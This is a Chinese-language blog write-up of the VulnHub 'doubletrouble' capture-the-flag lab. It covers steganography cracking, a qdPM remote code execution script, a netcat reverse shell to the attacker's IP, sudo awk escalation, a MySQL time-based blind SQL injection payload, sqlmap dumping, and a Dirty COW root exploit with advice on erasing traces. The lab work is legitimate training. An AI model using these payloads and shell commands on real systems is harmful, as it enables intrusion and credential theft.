Vulnhub打靶记录:doubletrouble

相关信息


kali:10.0.0.9/24

靶机:外层:10.0.0.14/24,内层:10.0.0.23

靶机介绍:doubletrouble: 1 ~ VulnHub

靶机下载:https://download.vulnhub.com/doubletrouble/doubletrouble.ova

目标:2root权限

难度:中

这个靶机有两层,当完成第一台靶机的提权后可以获得第二个靶机的ova文件,获取后需要再次导入virtualbox中进行打靶。

未提及的相关知识点,命令和代码等等可以查看我其他三个blog:

文字思路


全流程思路:

  • 主机发现 端口扫描
  • WEB信息搜集:没有页面源码的读取非常关键
  • 开源CMS漏洞利用
  • 隐写术:seg等工具的使用
  • 密码爆破 CTEObins提权 SQL盲注 脏牛提权

下意识的操作

  1. url的写入中很有可能需要在最后加上 /,部分命令或者场景必须加上 /
  2. 每台靶机都需要尝试内核漏洞,这个一定一定是需要尝试的
  3. 对于任何可能存在的漏洞都进行searchsploit查看其历史漏洞

主要的知识点

  • sql基于时间的盲注入使用
  • 脏牛内核漏洞的适用版本

外层靶机具体流程


信息搜集

  1. 主机发现,端口扫描,版本发现。主机打开的有 22,80端口,80 : qdPM是有个登陆界面的。此外nmap并没有太多的信息,所以web就成了重中之重。

    什么是qdPM

    Snipaste_2023-07-28_15-19-47

    qdPM对于版本相关漏洞的搜集和阅读,发现远程代码执行的相关漏洞都需要进行身份认证才能顺利使用,暂且放下。

    Snipaste_2023-07-28_15-45-29

  2. 访问后是一个qdPM应用的登陆界面,其版本为9.1。对其进行简单弱口令,sql注入,万能密码都是没有效果的,通过源码的查看可以看到这个开源项目的网页地址。(主要是账号为邮箱,暴力破解难度大)

    Snipaste_2023-07-28_15-26-14 Snipaste_2023-07-28_15-26-55
  3. 点击进入后虽然官网的版本已经升级到了9.3,但并不影响我们进行相关的信息了解。可以看到官网提示我们在按照这个web应用时需要注意删除:/install, /core/cache/qdPM这两个目录。

    Snipaste_2023-07-28_15-34-44
    • /install:可以发现为一个数据库的配置网页,虽然通过该网页能够进行数据库的创建,但是明显对于我们突破边界没有任何帮助,并且无法读取想要的数据。

      Snipaste_2023-07-28_15-35-26
    • /core/cache/qdPM:就是一个配置的文件网站,依次浏览相关文件直到在settings.yml文件中发现一行加密秘的类似密文的字符串 234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA,并不能确定其具体的含义。

      Snipaste_2023-07-28_15-39-34

      Snipaste_2023-07-28_15-39-50

  4. 常规的手工检测完毕,对web进行路径爬取:dirsearch -u http://10.0.0.14 。发现个非常具有提示的web路径:secret

    Snipaste_2023-07-28_15-53-10

    访问后为一个图片文件,由于这个具有提示性质的路径名,同时也没有其他的测试思路,所以对这个图片进行检测就现的非常有必要。

    Snipaste_2023-07-28_15-53-23

图片隐写

  1. 下载图片后,用steghide工具对该图片进行检测,发现里面可以隐写4.7KB的数据,但是其内容进行了加密无法查看。 steghide相关说明

    Snipaste_2023-07-28_15-54-42
  2. 使用stegcracker图片隐写爆破工具时,可以通过他的提示发现stegcracker已经停止维护,我们可以使用stegseek这个效率远超stegcracker并且还在维护的的暴力破解工具。

    Snipaste_2023-07-28_15-58-54
    • stegseek安装:在提示的下载地址中下载deb文件,然后直接键入 apt install xxx.deb对其进行安装。

      Snipaste_2023-07-28_15-59-50
    • stegseek使用:键入下列命令即可快速的暴力破解加密的隐藏内容,并将其隐写内容写入到file这文件中。不难发现隐写内容就是简单的ASCII文本内容:otisrush@localhost.com :otis666

      stegseek相关介绍

      Snipaste_2023-07-28_16-05-23

qdPM漏洞利用

  1. 通过获得的otisrush@localhost.com :otis666,尝试对qdPM开放的登陆页面进行登陆尝试,成功进入。

    Snipaste_2023-07-28_16-06-56

  2. 将刚开始信息收集是查询到的几个漏洞利用脚本拷贝,选择50175.py这个脚本进行尝试。但是执行时发现程序报错,打开后发现该python脚本存在大量的缩进错误,我们需要手动的修正。

    Snipaste_2023-07-28_16-23-35

    部分需要修改的展示:

    Snipaste_2023-07-28_16-10-14

  3. 通过脚本提示方法来进行命令的键入,只需要注意url参数最后需要加上/否则无法正常使用。

    Snipaste_2023-07-28_16-23-52

    通过脚本反馈阅读不难发现脚本叫后门脚本放在 /uplaods/users目录中,可以通过url中的cmd参数控制执行系统命令。

    Snipaste_2023-07-28_16-26-26

突破边界/提权

  1. 确定靶机上nc的位置:

Snipaste_2023-07-28_16-27-01

  1. 上载cmd=nc -e /bin/bash 10.0.0.10 4444payload,可以发现成功的反弹shell。进行简单的shell升级和信息搜集,发现靶机能够无密码使用sudo /usr/bin/awk

    Snipaste_2023-07-28_16-28-03

    Snipaste_2023-07-28_16-29-34
  2. 通过gtfobins网站可以看出当awk命令权限配置错误时可自接键入下面的命令完成提取。

    Snipaste_2023-07-28_16-33-21

    Snipaste_2023-07-28_16-34-57

内层靶机具体流程


靶机获取

  1. 通过nc命令进行文件的传输,

  2. 通过md5sum命令对靶机进行指纹验证,确保其完整性。

    md5sum, sha3sum , sha256sum命令的介绍

    Snipaste_2023-07-28_16-40-13

信息收集

  1. 主机发现,端口扫描,版本发现。靶机开启了 22,80端口,但是并没有太多的发现。

    Snipaste_2023-07-28_16-47-48
  2. 80端口进行路径爬取也没有太大的收获:dirsearch -u http://10.0.0.23,包括对发现的 /cgi-bin目录进行迭代爬取也是没有新的发现:dirsearch -u http://10.0.0.23/cgi-bin

    Snipaste_2023-07-28_16-50-05
  3. 访问 80:web是一个登陆的界面,查看源码,弱密码的尝试和简单的万能密码也是没有成功的尝试。

    Snipaste_2023-07-28_16-48-14

sql注入

  1. 无论是路径爬取还是手工检测web页面都没有具体的收获,所以使用burp来对web的登陆页面进行具体的sql注入测试。直到测试到时间盲注才发现能够注入点,在unamepsw这两个变量都具有这个注入点,对其赋值为 ' AND (SELECT X FROM (SELECT (SLEEP(5)))XYHZ) #

    • ':用来结束uname变量的赋值
    • AND:用于逻辑连接
    • (SELECT (SLEEP(5)))XYHZ:这是一个子插叙,使用了sleep函数,同时对其起了个别名为 XYHZ:要求这个别名靶机的数据库中一定不存在,随便起一个即可
    • SELECT X FROM:就是一个查询 X为一个不存在的列即可
    • #:必须和前面的payload有个空格,才能保重单行注释的生效。

    上载该payload不难发现网页的返回时间延迟了大概5s,从而确定具有盲注入漏洞。

    N

    Snipaste_2023-07-28_17-04-16

  2. 通过将数据包保存为sql.txt,然后直接使用sqlmap进行漏洞利用:

    • sqlmap -r sql.txt:可以确认uname是有基于时间的盲注入

      Snipaste_2023-07-28_17-07-31

    • sqlmap -r sql.txt -p uname --dbms mysql --dbs -q指定漏洞产生的具体参数位置,--dbms指定数据库类型,综上这个命令会爆出靶机上的数据库。

      image-20230728171011943

  • sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble --tables:爆出doubletrouble数据库中的表。

    image-20230728171117244

  • sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble -T users --columns:爆出doubletrouble数据库中的users表的列。

    Snipaste_2023-07-28_17-14-25

  • sqlmap -r sql.txt -p uname --dbms mysql -D doubletrouble -T users --dump :爆出doubletrouble数据库中的users表的所以列的值。

    image-20230728171728562

图片边界/信息搜集

  1. sql注入获取的用户和密码进行尝试,发现 clapton :ZubZub99 可以成功的ssh登陆靶机从而突破边界为一个基本用户clapton

    Snipaste_2023-07-28_17-19-21
  2. 可以发现靶机上没有sudo命令,查看内核版本为3.2.0-4-amd64,低于3.9linux内核,可以直接进行脏牛的内核提权。https://www.cnblogs.com/feizianquan/p/10791262.html,为exp地址。

    Snipaste_2023-07-28_17-32-35

  3. 通过nc进行文件的传递,对exp进行编译然后赋予可执行权限,进行执行成功的进行提权。脚本提示我们firefart :fionu3giiS71就为脚本创建的一个root用户。(在提权前最好使用下的命令将passwd文件备份一份:cp /etc/passwd /tmp/passwd.bak

    Snipaste_2023-07-28_17-37-23
  4. 退出现在的需要将原先的ssh登陆exit退出,使用firefart :fionu3giiS71重新进行登陆,可以发现firefart确实是root用户。如果有必要我们可以利用已经备份的 passwd文件来篡改root用户的密码,再删除firefart用户来消除痕迹。

    • 恢复备份文件,然后利用passwd命令修改root用户密码为:1234
    Snipaste_2023-07-28_17-40-37
    • root :1234来登陆靶机,完成打靶。
    Snipaste_2023-07-28_17-41-16

相关工具/命令


命令

md5sum, sha3sum , sha256sum

  1. what? 返回

    都是计算hash的命令,直接用 <命令> <file>即可

deb程序包的按照

可以直接通过 apt install xxx.deb的方式来直接对这种程序包进行安装。

工具

stegseek

  1. what? 返回

    Stegseek是一款轻量级工具,是全球最快的Steghide解密工具之一。它每秒能够处理数百万的密码,是其他解密工具的数千倍1。它是原始Steghide项目的一个分支而构建,可以用于从文件中提取隐藏的数据1

  2. how to use?

    1. stegseek --crack xxx.jpg -xf file:破解 xxx.jpg,成功后将加密的内容写入到file文件中。
    2. stegseek <载体图像或音频文件> <字典文件>:直接这样也可以

steghide

  1. what? 返回

    Steghide是一个用于隐写术的开源工具,它允许用户将秘密信息嵌入到图像音频文件中,并从中提取隐藏的信息。它在Kali Linux等渗透测试和安全评估操作系统中常见,并且被广泛用于数字取证和信息隐藏领域。

  2. how to use?

    1. 隐藏信息:使用以下命令将秘密信息嵌入到图像或音频文件中:

      steghide embed -ef <要隐藏的文件> -cf <载体图像或音频文件> -sf <输出文件名>
      
    2. 提取隐藏信息:使用以下命令从图像或音频文件中提取隐藏的信息:

      steghide extract -sf <包含隐藏信息的文件> -xf <输出文件名>
      
    3. 加密隐藏信息:你可以选择使用密码来加密隐藏的信息,以增加安全性。

      steghide embed -ef <要隐藏的文件> -cf <载体图像或音频文件> -sf <输出文件名> -p <密码>
      steghide extract -sf <包含隐藏信息的文件> -xf <输出文件名> -p <密码>
      
  3. related parameters

    • -p <密码>:可选参数,用于对隐藏的信息进行加密和密码保护。如果使用该参数,发送方和接收方必须使用相同的密码来提取隐藏的信息。
    • -steg <steg类别>:可选参数,用于指定隐藏信息的方法。steg类别可以是LSB1、LSB1-2、LSBE-1、LSBE-1-2等,每种方法有不同的隐藏能力和隐蔽性。
    • info:参数用于查看载体文件中嵌入的隐藏信息的信息

相关payload


脏牛内核漏洞利用

影响版本低于3.9的linux内核,直接编译执行即可

https://www.cnblogs.com/feizianquan/p/10791262.html

mysql时间盲注

' AND (SELECT X FROM (SELECT (SLEEP(5)))XYHZ) #

复盘/相关知识


了解

Web应用qdPM

  1. what? 返回

    是一个开源的项目管理软件。它提供了一套功能强大的工具,用于项目管理、缺陷跟踪、任务管理、团队协作等。QDPM主要用于帮助团队组织、协调和监控项目的不同方面。

posted @ 2023-08-02 22:00  C_CHL  阅读(47)  评论(0编辑  收藏  举报